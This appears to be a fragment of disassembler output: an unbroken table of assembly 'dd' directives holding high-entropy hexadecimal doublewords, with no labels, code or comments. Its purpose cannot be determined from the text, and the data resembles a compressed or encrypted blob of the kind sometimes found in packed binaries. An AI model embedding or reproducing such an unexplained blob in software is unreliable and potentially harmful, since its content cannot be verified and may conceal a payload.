dd 0D257F31h, 51066D3Fh, 0F30F3728h, 794AB543h, 6D6A632Dh
dd 12095B56h, 0D89C385Dh, 0D4435623h, 0A3E33617h, 0EB293968h
dd 398F7F58h, 34F232B4h, 39335E36h, 0C33B3839h, 19E5F628h
dd 99DA9E1Dh, 2348A024h, 4FD6AE32h, 2301A89Ch, 0AE42457Dh
dd 26CD6726h, 35ED75C4h, 5A65139h, 3E8E3B3Fh, 0E6960A1Bh
dd 0A739E49Ch, 5351BCDCh, 2A192870h, 0AE494613h, 36277037h
dd 73B5E5DBh, 6FD78B4h, 121978B2h, 491916FEh, 73A01174h
dd 0FD046326h, 6C7B2EE6h, 6DD40B6Bh, 98D82A39h, 20283AF0h
dd 0FA203EF6h, 1C7C291Ah, 4908552Ah, 0E0100BDDh, 7E32D20h
dd 2F79A711h, 2D0F2B8Ah, 3330C49Dh, 0B4BC26F3h, 985A8AB9h
dd 1C68327Dh, 6FB66990h, 5D43225Ch, 6D1261C0h, 7CDCD20h
dd 657EA4A4h, 33B4CD1Eh, 92E90230h, 57744B35h, 6B34BB98h
dd 0D81EF2B7h, 0F61C043Bh, 0A282409Ch, 78A82B16h, 0A1784437h
dd 7D7A1EE8h, 724BEEC7h, 760B7538h, 3E13AC7Ch, 3E9F2C3Ch
dd 0FDECBB7Bh, 74F22C7Eh, 25A10803h, 365E71FDh, 1F0627A0h
dd 3E44E72Eh, 413ECAB2h, 0C0B8373Ch, 0BD394F37h, 691B63C7h
dd 13DFE019h, 6C1860F3h, 4AC654F6h, 0AF00BA04h, 0F00A42EBh
dd 1BF33E3Fh, 7E1788DDh, 3C1232B2h, 2BB63268h, 1E0E4F1Eh
dd 0D68FE824h, 2BD6CC0Fh, 9B401988h, 2B3F0D2Eh, 0C9DA6118h
dd 373E3B25h, 903CD1A9h
dd 120E00BCh, 261C6C07h, 96FF127Ch, 0CE3CFC22h, 8A18B427h
dd 861C881Ah, 381301Eh, 78D0587h, 0FE3909F7h, 0EE0CF40Ah
dd 1D2DCF0Eh, 10C02EC2h, 1614103Ah, 7D1B6326h, 551F7319h
dd 5A42F1Ah, 19007AEh, 8D38039Ah, 0D908F30Eh, 1C2FD30Ah
dd 14E32AE9h, 112F1725h, 0E8152150h, 78287BC0h, 6CC77A1Dh
dd 34539432h, 6E77661Bh, 0BC113832h, 471B623Eh, 97D5964Ch
dd 600BDEC8h, 2B4E1D6Bh, 7BFA3B29h, 6A0C15C4h, 0F974017Fh
dd 0DF3235B7h, 5130F8E1h, 553C573Dh, 0E1753C93h, 0A6983F1Eh
dd 38F724F6h, 2AFC73C7h, 0FBFF32F9h, 0F62FE22Fh, 0D28D34E3h
dd 2EC8C17Fh, 2AC2E844h, 1D131B30h, 31201055h, 4A54A771h
dd 0D884CCFh, 0D9A1B3A7h, 935C3EF0h, 95EBB732h, 9A6D9136h
dd 0D4BD2B3Ah, 281B9D74h, 1FB51C1Ch, 9477B0E6h, 3406172Eh
dd 40D907C1h, 0C39E2FCDh, 0CFDB3A2Bh, 22C02A24h, 93D2A3Ah
dd 0DA2B3EDDh, 1EBE9215h, 7762A35h, 3F865D92h, 0DB462F79h
dd 732C3D0Ah, 0FB0C3D31h, 17563164h, 3D6B6AF8h, 0D7341D79h
dd 1B5E4A81h, 0B9350B52h, 0D6C0F6Ch, 62026733h, 7FE9AD00h
dd 19A0CF0Dh, 363A103Ch, 3A363838h, 3E323C34h, 12B51B30h
dd 71734E1Eh, 0F643354h, 0D65F8175h, 0B137B85h, 475E0911h
dd 139D4673h, 1AB81657h, 1EB39E04h, 3F941CB1h, 45767A71h
dd 244C0253h, 47610643h, 425E5E5Bh, 790F4B2Dh, 141E1278h
dd 4D583671h, 1C5E565Bh, 77675B75h, 379E6575h, 0A46D28A5h
dd 0E747172Dh, 6F692C3Eh, 28386D67h, 5ABA6217h, 3EB64358h
dd 3B434D6Bh, 517B3D33h, 0EE3C4C18h, 7F7F7F1Fh, 2641E410h
dd 2E2925AEh, 0AAE9AD70h, 0F13030DEh, 363AF8A3h, 3A363838h
dd 31C23C34h, 121C143Fh, 2E20101Eh, 2A242C22h, 0D6282826h
dd 2D232B25h, 313F2F21h, 353B333Dh, 39373739h, 323C34C5h
dd 73773D98h, 4376167Ah, 6416A07Eh, 2D435256h, 4A202949h
dd 445A412Eh, 52B35D6Eh, 5656446Ah, 3FBF5F5Eh, 7556343Dh
dd 76727C6Ah, 23022344h, 55495137h, 2B147D14h, 4D5B5E0Ch
dd 5A405243h, 37424534h, 4E484D31h, 3B14633Dh, 0E12D30Eh
dd 0E272531Eh, 0DCAE734Ch, 19E2A337h, 3EFCBCEBh, 0C5399EDDh
dd 36B57DE2h, 35C0BB3Bh, 363D5CBEh, 1B6AC9EEh, 0B7A04441h
dd 7234E0F0h, 3BC87132h, 0FDB4AB26h, 4C41383Fh, 0AE943D97h
dd 7D7546BAh, 0FDB93A38h, 5290234Bh, 21A7161Dh, 0EDA62121h
dd 2C6126ACh, 8EC32F5Dh, 0CF6FD32Ah, 0BF3F74B8h, 7E7937F2h
dd 0FCBE32B9h, 95D70749h, 4F1E3B1Ch, 732E67ABh, 7728D5CCh
dd 0EFA9D6D5h, 2F0D072Dh, 33336172h, 3F48B676h, 0B6BA3DB8h
dd 22C57808h, 1F3018DBh, 0A781706Ch, 2013963h, 3AA0085Fh
dd 2D2DD6A5h, 0BB19322Fh, 36CBBC8Dh, 0B303B834h, 6FBD3AADh
dd 179A92B7h, 0E7A11FBEh, 0A624832Ch, 0A5291F86h, 7672ECA1h
dd 0D2278971h, 2D072B0Dh, 0CE78B339h, 0E3E3B3Fh, 24157FF7h
dd 453974Dh, 4364201h, 8A0326C5h, 2BAA7Bh, 100F787Dh, 15131275h
dd 0C70F37B5h, 3ABAA62Ch, 3F351A79h, 0BFD512FDh, 2B2FAB26h
dd 3886245Ah, 645EE0ACh, 270A79A7h, 0B13FBA17h, 32B03131h
dd 3F3FA83Ch, 983A38A0h, 0AC19194Eh, 279C241Ah, 2220EC27h
dd 2E29ADF4h, 542DBAD4h, 3470590Fh, 57283430h, 59455A4Bh
dd 423D5847h, 617A675Ah, 21486379h, 4F584A5Eh, 45544C5Ah
dd 5141572Ah, 4D5F5340h, 2A143702h, 3E186BBDh, 21183B7Eh
dd 9F5B31B5h, 1B1B0AD8h, 3838C2E0h, 0D628AA2Ah, 7AD4D5E9h
dd 33EB3BD2h, 18304213h, 3524F175h, 8C88079Bh, 9B8F613Eh
dd 1DF5401Dh, 63A92090h, 2656AC38h, 15487276h, 0EF8AE9ADh
dd 1389AF34h, 22367115h, 0BB3A39C7h, 3F7D3D80h, 8D183C12h
dd 22892606h, 86201420h, 2B892887h, 86870C2Ah, 3781102Ah
dd 16308C13h, 78293DF7h, 28BF39F3h, 1894183Fh, 2485EF9Ch
dd 3521D818h, 392C9A25h, 873C2E21h, 3E302030h, 353BEC32h
dd 39373739h, 15733B35h, 5C7EDF7Fh, 0DD870235h, 0C7C1270h
dd 0C4A62624h, 177EBB21h, 31B3A57Eh, 34663019h, 3CCCEC1Ch
dd 153B8766h, 8340218h, 3F1CECB2h, 0A79C2EE3h, 0AC888400h
dd 173B2815h, 5C4F5F49h, 37CD542Eh, 33C931CBh, 7A7B3200h
dd 0D0F2D6Ah, 51BC555Bh, 2224431Eh, 484C421Ch, 4B457743h
dd 41053C52h, 8D348F49h, 8E308B36h, 0FA3A713Dh, 5F38BE31h
dd 6D722439h, 2E530171h, 2A212C27h, 1B2D2223h, 3F1D298Bh
dd 3F30CDEFh, 0E2BFF939h, 11CFFF35h, 0BDE5B0E8h, 879BE0A8h
dd 0C193A41h, 0D61B261h, 0FBDCEE36h, 8E6A71CEh, 0F0FC076Fh
dd 0E491714Bh, 2DE694F1h, 0FA7B137Bh, 69BFD79Fh, 5DFFD0FAh
dd 38626001h, 6723C2E5h, 2BD4372Ch, 0A99245BFh, 2AB35F03h
dd 4B66116h, 0B92E1D7Ch, 0B5D62971h, 0A22E993Bh, 0CA35399Ch
dd 843CA5E8h, 7A30AC9Fh, 8EE17C3h, 103CF03Fh, 6213F63Fh
dd 45FAD5DFh, 9F3FD437h, 39987D3Eh, 23201776h, 692CA327h
dd 0C97E7676h, 3D08FF27h, 0F5B4AC0Fh, 38713016h, 6F383CE7h
dd 1940B06Dh, 48E4BA2Eh, 2A9F3269h, 3E29A82Dh, 9D372CA5h
dd 8C3B2389h, 610E7E24h, 0D76C3838h, 31FA370Ah, 3C2A2E81h
dd 9789D63Fh, 72BE1C74h, 7AE1741h, 2B536974h, 2D9B0140h
dd 0F3B29D3h, 0C9DA3421h, 135E3634h, 0CBEB0D28h, 0D39F0E30h
dd 0AA2E1CFEh, 0AA80231Fh, 0AF2426E9h, 0A7BD2862h, 0D17DB86Eh
dd 3230B41Ah, 0AA70B9F3h, 0AA7CB567h, 9E253C3Ah, 3509E46Fh
dd 20201DC4h, 10120714h, 291E1B10h, 1B5C1D67h, 7B719AEh
dd 0FF02A8B2h, 150F3900h, 643C3DAAh, 9F2C4309h, 20288A2Ah
dd 13FE15E7h, 100311D6h, 0AE136629h, 0F117A115h, 0CCF3209h
dd 1390F32h, 0A3B0316h, 55067804h, 1F250E25h, 0D26649C4h
dd 770FCD61h, 9F23732Dh, 1FAB2F6Ch, 13F6B233h, 1233E95Ch
dd 39EFB188h, 37169A35h, 0D596F412h, 276365FEh, 5322B637h
dd 283A4DABh, 6E3E6E71h, 0DB30802Eh, 0BBE4742Eh, 0D20B7787h
dd 7F2BFCFAh, 151CCF28h, 129BB1Fh, 4DC2202h, 0A85927A6h
dd 0EC0B2D2Ah, 34332E2Fh, 357429FFh, 6B834A6h, 3C3CFB06h
dd 38187F15h, 213EA718h, 24A3337Fh, 0E88E39C3h, 2D3F9528h
dd 310E322Ah, 26321228h, 3D30369Ch, 3D3AFAA0h, 3B6A2C0Dh
dd 7988DF10h, 336C2043h, 52E625A1h, 0A32B992Fh, 712E3D6Ah
dd 2374F7F3h, 21043434h, 6A05F8F8h, 375E6C34h, 1E0D5A91h
dd 3E55E09Bh, 0AB296AA8h, 7B06C9D6h, 3CED68C3h, 2710F0Eh
dd 68D533F1h, 0FA0AFB6Eh, 2E493CBBh, 0C7137AC1h, 0C32F7EADh
dd 2A4573B2h, 4829B7C2h, 2D958325h, 160C82Dh, 64BD6661h
dd 37995C1Eh, 0D273F0Bh, 1F5A9239h, 0B5D2AF19h, 0D5272411h
dd 6B31AD2Eh, 289B93F9h, 355AF50Dh, 1851358Ah, 69CD6521h
dd 0CCDB23C9h, 0BB5F010Dh, 54BE9557h, 0F71D65E0h, 24269EC4h
dd 0A70F2908h, 2B2D2D04h, 33269350h, 9D067196h, 0B3492960h
dd 0FB86A2BCh, 82EF043Fh, 93BDF124h, 26A54BFh, 0E6B0C68h
dd 1A051E07h, 1679681Dh, 0CE4154FBh, 19F64505h, 0FFB63E1Ah
dd 1C98AD57h, 3C025E1Ch, 0E7F32F76h, 2989F186h, 304309B8h
dd 69338D7Bh, 57D73390h, 7D1A1976h, 0DC2C1153h, 8139DB3Bh
dd 0AA3E5FC2h, 26E277C0h, 1821A430h, 2E50A14Bh, 977D7804h
dd 0DA4231B1h, 0B9AB34F4h, 0B0056307h, 25DF07EDh, 0AC21B61Ch
dd 0C51DF81Fh
dd 97D8271Bh, 292AD92Dh, 2F2D2DA8h, 33E0135h, 7790573h
dd 470A4838h, 0F70EB40Ch, 2ECD1C2Bh, 232110ECh, 17353612h
dd 0EA70193Eh, 0C01C8811h, 3B012Fh, 4AF0656h, 3EDA53DFh
dd 30DC32D4h, 1BEC1C85h, 0CE24EE5Bh, 4D2AC62Ch, 0C21D24D6h
dd 23C99324h, 0DE2FBED5h, 7A63DB3Ch, 37D73226h, 33DE35D5h
dd 12F189F0h, 2EF91F15h, 25239516h, 0A326264Fh, 2C81C2E1h
dd 60D0D291h, 36333159h, 383CD3DDh, 6419503Bh, 0F368758Dh
dd 9C1AADF7h, 7C1219E4h, 582AD57Ah, 0C723266Ch, 21AEA86Ch
dd 63250278h, 17765F63h, 0B02E39B9h, 3B40B63Ah, 161D4290h
dd 732D4E94h, 0B661AD71h, 0DFC14803h, 0E9A62A2Bh, 523136DFh
dd 0EA20C42h, 2F3009Fh, 73904E0h, 2427222Bh, 1883265Ch
dd 1F761926h, 13C51DBBh, 16DF1015h, 0D6C1305h, 9D60F94h
dd 4F60A28h, 3680522h, 232601AEh, 1FDC219Ah, 27231DDEh
dd 29272445h, 80282AB5h, 21FD81Dh, 54F7068Dh, 94AAD61Dh
dd 6F147A6Ah, 48106D12h, 4D714D2Ah, 0EF704561h, 0FB10F112h
dd 0EF3E00C2h, 7C8E311Bh, 5306061Ch, 0D71C1A1Eh, 0CDE0EE4h
dd 906A51D0h, 1D37B331h, 774A0AB0h, 1F611D1Fh, 7E89116Bh
dd 4A147012h, 3A0B324Eh, 0D6F2DC64h, 823C1836h, 9E391CDCh
dd 697BF910h, 0A237FB10h, 3230C137h, 1A57042Ch, 6D7D2B37h
dd 61312FAEh, 979FDBAEh, 0D8129777h, 1D384E7Dh, 1D1BB716h
dd 76208F44h, 1E4258C9h, 7FA74E25h, 0A72A2A6Dh, 62C77F2Fh
dd 0D834530Ch, 7C3ED639h, 786929BAh, 1C9EF8D5h, 9D181B9Ah
dd 3874C916h, 252F1167h, 64282B8Dh, 64D42F28h, 313B1483h
dd 323437B0h, 0E2383A30h, 5C3C3269h, 1A531E19h, 202E981Dh
dd 24277161h, 0BD2B2CB0h, 2D39097Dh, 473951D1h, 0B3BF148Fh
dd 3A3A388Dh, 29BEB9B4h, 139E9F1Fh, 21A8121Eh, 0DAEAA026h
dd 0A005E56Fh, 0C42E4B9Fh, 4338E48h, 463FB131h, 0BAEEC8AEh
dd 0FD403AC2h, 0E3E3BC91h, 32FCB469h, 0CC2024E1h, 0C3294737h
dd 2ABB2F2Bh, 61AC332Dh, 62666131h, 0B160C7BEh, 2C1F3A4Dh
dd 0E55125D5h, 0DF1E99E3h, 7D7D2955h, 677F7E79h, 2A2A21EAh
dd 0BA2FABA6h, 9E91103h, 373C40F7h, 3AFA0B2Ch, 7BB52B3Fh
dd 7296003Fh, 1139203Bh, 0E51E6CD5h, 0D719A1EDh, 7FEE20CBh
dd 0CF79C72Eh, 0C97FAF30h, 3A31C936h, 3C40FCBEh, 0FDDDDB0Ch
dd 0C9701D3Eh, 3834ED15h, 0D12FE3A5h, 0FD2F2478h, 0D9344520h
dd 0D72544F2h, 4DF8B238h, 0B6342B3Bh, 0C92B32Fh, 22E21D5Fh
dd 0F4528881h, 15E72E06h, 0C578B3Ah, 4E0E4653h, 54314F94h
dd 1C439375h, 0C5B06D41h, 6561B33Dh, 0F7075291h, 73422277h
dd 64C5265h, 0EBAFD6D7h, 91AB222Ch, 32583230h, 3636395Ch
dd 0EDAA699h, 6F3F5710h, 57847C7Ah, 0E5DEDF3Fh, 0A75BA2AEh
dd 5631AC16h, 39EB34ABh, 25E03405h, 2618F421h, 1E752D77h
dd 3757187Bh, 5F6CF36Eh, 65353F0Bh, 30642137h, 0A43D67AAh
dd 2C06EDBCh, 75623A2Eh, 207D1427h, 77E9C299h, 39563E2Fh
dd 5E1614FEh, 880A5E5Eh, 7BCB2169h, 0E0AC2225h, 42F02ADh
dd 0D10AA8C5h, 0E552E1E0h, 0EC1712B9h, 0C4B03939h, 0F33C3D79h
dd 5901B1D8h, 306A529h, 56362D64h, 0C32E88A1h, 2A2A0430h
dd 371B72D8h, 35462976h, 271E7DB1h, 7659396Ah, 3A91184Ch
dd 6F6ABE52h, 6339C8A0h, 0EAF74C82h, 8FA3A1E7h, 3F197D6Dh
dd 0D65850D3h, 10D49973h, 7C571251h, 5B0FB11h, 61703D74h
dd 2474636Ah, 0EB6421E1h, 390EF45Eh, 0F9BBAB36h, 371C3192h
dd 1D8C8DEh, 0D4203917h, 0ADFB251Eh, 204CF64Ah, 6622725h
dd 3205662Dh, 0B67D1A8h, 452D2E2Dh, 2075CD32h, 2DF5E63h
dd 251880D6h, 38973DFDh, 1ABA6E16h, 0CDD90284h, 38790692h
dd 83A92933h, 4E7B21C0h, 10502913h, 651550D0h, 3D195FE2h
dd 0FB1D56CAh, 0E621D327h, 1FE81C1Fh, 181D1A2Ch, 2D996931h
dd 2D2D13ACh, 310A714Fh, 0AC056233h, 709FF07h, 0F7F3C0Ah
dd 2C4C2A76h, 0C2202E49h, 81131014h, 291FEF11h, 15BF137Dh
dd 9C517E2h, 180D3B32h, 7501770Fh, 4643B03h, 32617773h
dd 45525E3Dh, 5D514D4Ch, 2A6525A7h, 22A2B06h, 0A7C610Dh
dd 5D643A11h, 1824765Bh, 3C5F1F11h, 375B1B13h, 766B5F3Ch
dd 33234D22h, 52060B0Dh, 42225D58h, 25044841h, 4B5D5310h
dd 17237775h, 495F4A4Dh, 4B7EB4CDh, 0ACF5183Fh, 3745A121h
dd 261E323h, 0C22D2837h, 2EFFA589h, 32E1F605h, 0F4A0DC32h
dd 0FB069A37h, 0B6D53E3Bh, 0DC441BFDh, 6FB01C1Eh, 69AF23E2h
dd 0EFA32F02h, 1AEE75E8h, 0F220EBADh, 2BB0452h, 5130B84Fh
dd 3D83397Ah, 301ABF06h, 203B6294h, 42A6CA6Dh, 0E8A2D9DBh
dd 43AB4229h, 452E2E69h, 33130725h, 0D630366Dh, 3F9B38B9h
dd 7999D731h, 19FC1A9Ch, 27F24049h, 4522E0ECh, 332EEA14h
dd 2D0E9BC4h, 93615451h, 5D656666h, 1D7A5B12h, 0B4581734h
dd 341D0C9Bh, 7AA17D9Ah, 337121A3h, 0A86573A7h, 282D5E70h
dd 0B86C6E70h, 22BF468h, 0F8796473h, 815BE27h, 1F741A73h
dd 28205317h, 78182B22h, 21A17CB8h, 2D32A555h, 0FDD8BFAEh
dd 0BE840172h, 0F8B3CE1Dh, 3DB7CCB1h, 1EF2FEC4h, 0E894BBEEh
dd 27C2A121h, 767882D6h, 41148DEAh, 0BA582E22h, 0BE4FA03Ch
dd 98BD4615h, 0B56CCBB2h, 288E8E49h, 92967BDCh, 3842305Eh
dd 0C722251Ch, 30408D37h, 7402DDCh, 82E3B3C0h, 72F62080h
dd 0C977196Eh, 0D76FAE9Eh, 1EFC9DBFh, 32A8760Ch, 2501C4CBh
dd 2808BA01h, 0FEC52B8Bh, 643A312Eh, 0DE3DBD23h, 0B94BF8F7h
dd 0B59D20FFh, 80F44BF0h, 0E176219Eh, 246531EBh, 9206051h
dd 0A464333Eh, 0B130CFE5h, 0DD183290h, 4A2027A6h, 66FF6B32h
dd 0DC0E2E87h, 7DFFDED0h, 0BC224275h, 0DB272525h, 0A8A24C82h
dd 0F62FAA09h, 4475B332h, 69676236h, 3C1B2F38h, 2A9E1623h
dd 1F2E16CDh, 675E5700h, 0D825B524h, 0BB08993Dh, 156C2558h
dd 0B874B036h, 3F71BEF2h, 18BB9938h, 0BEAABD36h, 1F249D28h
dd 2EC9231Fh, 6727F0CAh, 2B291226h, 0AE96F0C3h, 0FFB83829h
dd 0BF3B3332h, 0A9710514h, 4CD5E425h, 0D8001AE9h, 22607D7Eh
dd 5811ABBh, 333C9E3Ch, 372DC8CFh, 0E932FD5Bh, 583845D0h
dd 0C62B8893h, 2D781F3Ch, 0C02EF69h, 475F974Ah, 0E10420C9h
dd 0AEAB293Dh, 207C2929h, 2C0C2DC5h, 0B74A2BF1h, 4637C7CBh
dd 0C2C5B936h, 1EF83440h, 0CFE042FCh, 0A030CA63h, 5AA62ADAh
dd 29D4AA25h, 73BCD3Fh, 7F39DBF1h, 24761927h, 68BE47BAh
dd 252D6CCBh, 0B21BFBDAh, 82696216h, 1CD7112Ah, 3C20899Ah
dd 9FCEED27h, 583894AFh, 1EEF0773h, 0CA38385Dh, 37CD1032h
dd 0CA98C984h, 3029EE34h, 0DF2BC2E3h, 0A2E5072Fh, 2D262B25h
dd 154CA479h, 0CAB13322h, 6DB30940h, 0ED3D331Eh, 9F4D33B0h
dd 6292E1D3h, 0D6082321h, 0E9A437AFh, 7CA32A2Dh, 0CC7EA5D2h
dd 3C3BD8F0h, 384526BDh, 3D6BB229h, 33FBC3Ch, 9C1C4D94h
dd 0AE2225E0h, 0F01D2330h, 2ACE3CD7h, 0AADE2E0Dh, 0B82944C6h
dd 35E7B401h, 6CECC66Bh, 3C03EBC3h, 2DCF2F1Bh, 4157AADFh
dd 474324A9h, 0F4B7EADh, 2E2DD3D4h, 7C8F3F2Dh, 3ED7F557h
dd 0BAE93327h, 355D7A3Ah, 0DC975BEFh, 2224FFDFh, 25262362h
dd 2505B5A4h, 7DE32A1Bh, 74A235C6h, 0B03B6810h, 0B52AAA34h
dd 397DB036h, 1D13C7BDh, 0F1AF5368h, 7514AB2Dh, 201ACE1Dh
dd 268A2819h, 0B3027389h
dd 6623F0D1h, 9B6DCDDh, 3D0BBD29h, 0FFFBD95h, 4C46313Ch
dd 2EE22D3Eh, 0A45244Eh, 0F9AF49E8h, 0C7A22B3Ah, 0F6317095h
dd 365C4522h, 3C022FDEh, 0B31FB7D4h, 127D1DBAh, 9387C817h
dd 40C53C83h, 9E68F32Fh, 0AA3E8D2Fh, 243576A6h, 37E0DC34h
dd 3C61203Eh, 3FDEF8D3h, 0DDA823DAh, 7FF0261Fh, 259425BEh
dd 0AD22B6C7h, 0CC195FEAh, 0B13F8F38h, 6754431Ah, 3C6940DEh
dd 7AFD69ABh, 1CD9FE54h, 0C84B3A51h, 3423B041h, 0C44FEEC1h
dd 0C7241B78h, 612D1E1Eh, 7C826332h, 6175DE51h, 3F6D0F3Ah
dd 1BAD2D16h, 0DB76C59Ch, 27201054h, 48546734h, 2E8B485Fh
dd 4B66586Dh, 27A35E59h, 0D941A30h, 9A3BFB38h, 5E3A3D02h
dd 5F14FC68h, 9F3A201Fh, 37272422h, 1B72683Fh, 1C2C2D7Fh
dd 3260948Fh, 51344C29h, 5B5A6B37h, 4D181455h, 30CDF216h
dd 1BAE256Eh, 1F8219B9h, 13E91D8Bh, 160A11DCh, 0A631418h
dd 0E400850h, 55F0B56h, 1BB07BAh, 208703B0h, 1CF622C1h
dd 19161F0Eh, 15761B61h, 11E417E0h, 0E2B13F6h, 0AF70C9Dh
dd 6DD08E4h, 3C105E4h, 197F3D3Dh, 220A21E4h, 0ABBB813Ch
dd 47121808h, 67176DB1h, 73A6B40Ch, 0ABD2550Dh, 974A0840h
dd 6B6B1A0h, 9BA65DA8h, 863DB026h, 0E61C9C97h, 1BF1B3C3h
dd 0A2BE88FBh, 4ED911C7h, 3E0F34B8h, 2ABDA313h, 0ACD91C09h
dd 9E01020Fh, 65901A1Bh, 211F774Ch, 252B2323h, 28284D27h
dd 2C2D32C2h, 313247B8h, 0E3CBB330h, 53263797h, 3D24513Fh
dd 1A1B7138h, 21750A1Dh, 100766ACh, 7835064Fh, 2D96ECC1h
dd 38A40693h, 36B7F4F9h, 0DBDF128Fh, 0C3C43A82h, 2337BE01h
dd 0F9E08E3h, 0A8746123h, 0AF33DADCh, 2B1929A8h, 70D1A8ECh
dd 0F3AD3E6Eh, 283EC1BBh, 363A3637h, 3E2E853Ch, 0F651F3CBh
dd 125F3019h, 4708AFD3h, 7D797E2Ch, 9E0B6543h, 3980E5BCh
dd 3BD7BB17h, 832939E7h, 9C34FE0Ch, 5E15DD6Bh, 28EB4BF6h
dd 0AD7EF2E0h, 0D039CCA0h, 21C46F03h, 509A26E2h, 0F4BC3AF1h
dd 30F3243Fh, 23CDBBBh, 16147631h, 691D004Ah, 6D223C70h
dd 0BCE1CE60h, 65233318h, 809EC66Bh, 6391A68h, 0AE3D172Ah
dd 0C45FB02h, 5635D66Eh, 0AB1219AAh, 6FAB2924h, 723E1500h
dd 2AA992C0h, 943E297Ch, 30322130h, 3436A0DDh, 3CFDAD6Bh
dd 3F5F887Ch, 0BF209747h, 2152211Dh, 0ADF2DB2Bh, 0FA7DA137h
dd 68A0340Fh, 0E272D83Fh, 97344332h, 323963F7h, 3A3C918Fh
dd 1C181AA3h, 2921733Bh, 13202242h, 282C2666h, 252D2F0Fh
dd 6BD4172Ch, 9D26373Fh, 2B393F37h, 7B736843h, 5D4C6B3Eh
dd 75435B4Fh, 4151224Fh, 7C074A44h, 442B494Ch, 5F434143h
dd 346F4B56h, 0F77A5736h, 563B3543h, 1BC756C2h, 1E1E5EA9h
dd 27228044h, 0AE427524h, 0A82E290Dh, 791E25C0h, 59274167h
dd 37385F33h, 2B503052h, 2C547256h, 9512765Bh, 0B2254AEEh
dd 0D62C08B2h, 8AAFEF90h, 0A8EB2A99h, 2A813133h, 3AB405DBh
dd 33B848B9h, 0D679C4B0h, 0D63A0A3Eh, 2B30E5F6h, 95EDC1CAh
dd 113DD821h, 98F096Ah, 4079325Eh, 8447DB16h, 491CBB2Dh
dd 0B628390Eh, 472F7FF9h, 0E49E58EFh, 2523C395h, 29272EE7h
dd 2C244876h, 3FD02E22h, 0DC2BBB31h, 34F77Eh, 7FD36D31h
dd 0F36E2C7Fh, 0FF1F7CE9h, 0B067520h, 0AE36E1A7h, 7C781148h
dd 368D08C4h, 31DA3650h, 797AF4C1h, 0B27B6E30h, 7F1F2872h
dd 6A3BBC0Fh, 7DE76B5Eh, 0E47E3C7Dh, 0D73A0D2Bh, 26C1AF63h
dd 3323332Fh, 0B2353834h, 3D381834h, 103E3C36h, 130C1C3Eh
dd 201C1C1Eh, 26242C25h, 2E296D64h, 752F2B3Ah, 3921282Fh
dd 34523032h, 3A382531h, 3A3D1A4Eh, 9E183F2Dh, 200B191Ch
dd 25B321A5h, 2B273322h, 3C2C2BB7h, 314525FDh, 344FDA61h
dd 3137D639h, 0B8FC3869h, 0F3393B4Ch, 1F5E03CFh, 73FAA22h
dd 0DF2536F3h, 2A2A9028h, 1C2C2D2Eh, 0EBB31F0h, 3634F084h
dd 853292CBh, 3C9E6AD8h, 4FE15290h, 722E502Eh, 21E5CACBh
dd 0EC4D28A7h, 0C2D14ABh, 0B6F2A420h, 3D3040E8h, 72993915h
dd 2A3EEC37h, 1EB7F36Dh, 3AE048CEh, 0AFFFA72Eh, 112A532Eh
dd 0AD30752Ah, 3D450DD7h, 347CB932h, 4D18CEB6h, 3C3C3635h
dd 8D182D35h, 0A0FB6B18h, 2523A219h, 28E11851h, 5DFC2439h
dd 3E3F432Dh, 243343D4h, 3846C53Bh, 0E63A3429h, 14312D9Ch
dd 110E1D6Dh, 3322503Dh, 560D932Ah, 12243928h, 213E2D5Dh
dd 5E324077h, 46633B24h, 58342938h, 312E3D4Dh, 1E6CC76Ah
dd 535E2E0Fh, 0AB2B3423h, 68BC8BB5h, 8D6F5D04h, 0B134F127h
dd 7C37F5AEh, 732C3AD9h, 0B4597539h, 0B7A33F3Fh, 8B229E67h
dd 675154E0h, 3DEA37B2h, 0EF213066h, 30742D39h, 593E3366h
dd 7FFA457Ch, 8F3EBB99h, 3545BDB0h, 0D80D9F54h, 721E33Dh
dd 380362A8h, 2C0F5EA0h, 16C67E3Dh, 0BF313235h, 2C137AB5h
dd 7E7DD268h, 1F3FB83Ch, 1F1C6AF5h, 36EAC22h, 20CE6900h
dd 67022911h, 0E9322D08h, 224215B4h, 34363734h, 0C502CFD0h
dd 35B568C3h, 6A121CD4h, 0CA252F1Fh, 2EE77D78h, 378A72ACh
dd 0AD2D2172h, 6DB138C3h, 67903427h, 0D22167B6h, 7C9E3F63h
dd 58181D3Fh, 0A171751Eh, 73CC3F21h, 8BA365A6h, 253FAB3Ah
dd 94307F7Ch, 967BB3BAh, 37392137h, 0BE1BD322h, 559BF09Eh
dd 6F9F0E97h, 1F93198Bh, 13CD1D93h, 10091631h, 0C62121Eh
dd 8AB0E6Ah, 48E0AAAh, 0E706F7h, 27C402CCh, 22112018h
dd 1E4A1C36h, 1A8A1850h, 152814F6h, 11421322h, 0D8B0FAEh
dd 83B0BF0h, 4590613h, 0DD0241h, 1C1D23EDh, 462031D9h
dd 0DA0F2537h, 2B9C2A07h, 2F2F702Ah, 5E991463h, 36D493DBh
dd 0F638CC67h, 0A8173DCBh, 19341A3Eh, 32A01B1Fh, 3471A6CAh
dd 283C3B27h, 592D3A66h, 0E4382E3Fh, 54E03226h, 38295430h
dd 2DF3FAC6h, 2D07953Fh, 71DE9C96h, 0ECA88720h, 2916E5AEh
dd 0A5748E29h, 0B9712A46h, 6F6EE222h, 9473EF7h, 233B49FAh
dd 1B300D3Ah, 4C16542Fh, 0BE022920h, 0BD2A83Ch, 7E22A520h
dd 27A825A3h, 3B9A3230h, 73EB73Fh, 393A1939h, 3D02B020h
dd 3B5FDD4Fh, 60E435DDh, 8430E426h, 0AB3CE866h, 3BADC6EDh
dd 0E624F479h, 23F763EFh, 5E2CFA17h, 86BE29FBh, 21A41FC2h
dd 2125A71Dh, 251B819Dh, 9129273Fh, 89972B33h, 348B2F93h
dd 60675B88h, 8DB36136h, 3E3CBF1Eh, 0BE12BCBFh, 350C998Dh
dd 2DA04FC9h, 34A155h, 0AF72C23Dh, 7F299E24h, 71B9DA22h
dd 3F973F36h, 0DD3282Ah, 3DD37BEh, 0F70F3A1Bh, 0A22BA23Dh
dd 0F2FA1FBh, 0A823C138h, 3CA96525h, 0C616D93Fh, 3732F7B0h
dd 353F3E39h, 1B6AB638h, 973D0CE1h, 63218027h, 874E0425h
dd 1A21273Bh, 3FC52D2Bh, 355737EFh, 0A983DCFDh, 3D353CA6h
dd 983C0CB0h, 1BB36439h, 5E26BA89h, 8B2A582Ch, 41782BE6h
dd 8E89389Ah, 379F1328h, 339D1BDAh, 1E3E982Ah, 9548CDBFh
dd 0BD25B43Ch, 14FF4F1Ah, 64A8708Bh, 0DEA26951h, 2829615Ch
dd 13DEADF0h, 0F9B83441h, 0E78DE67h, 0CCD38C3Fh, 87290E3Ah
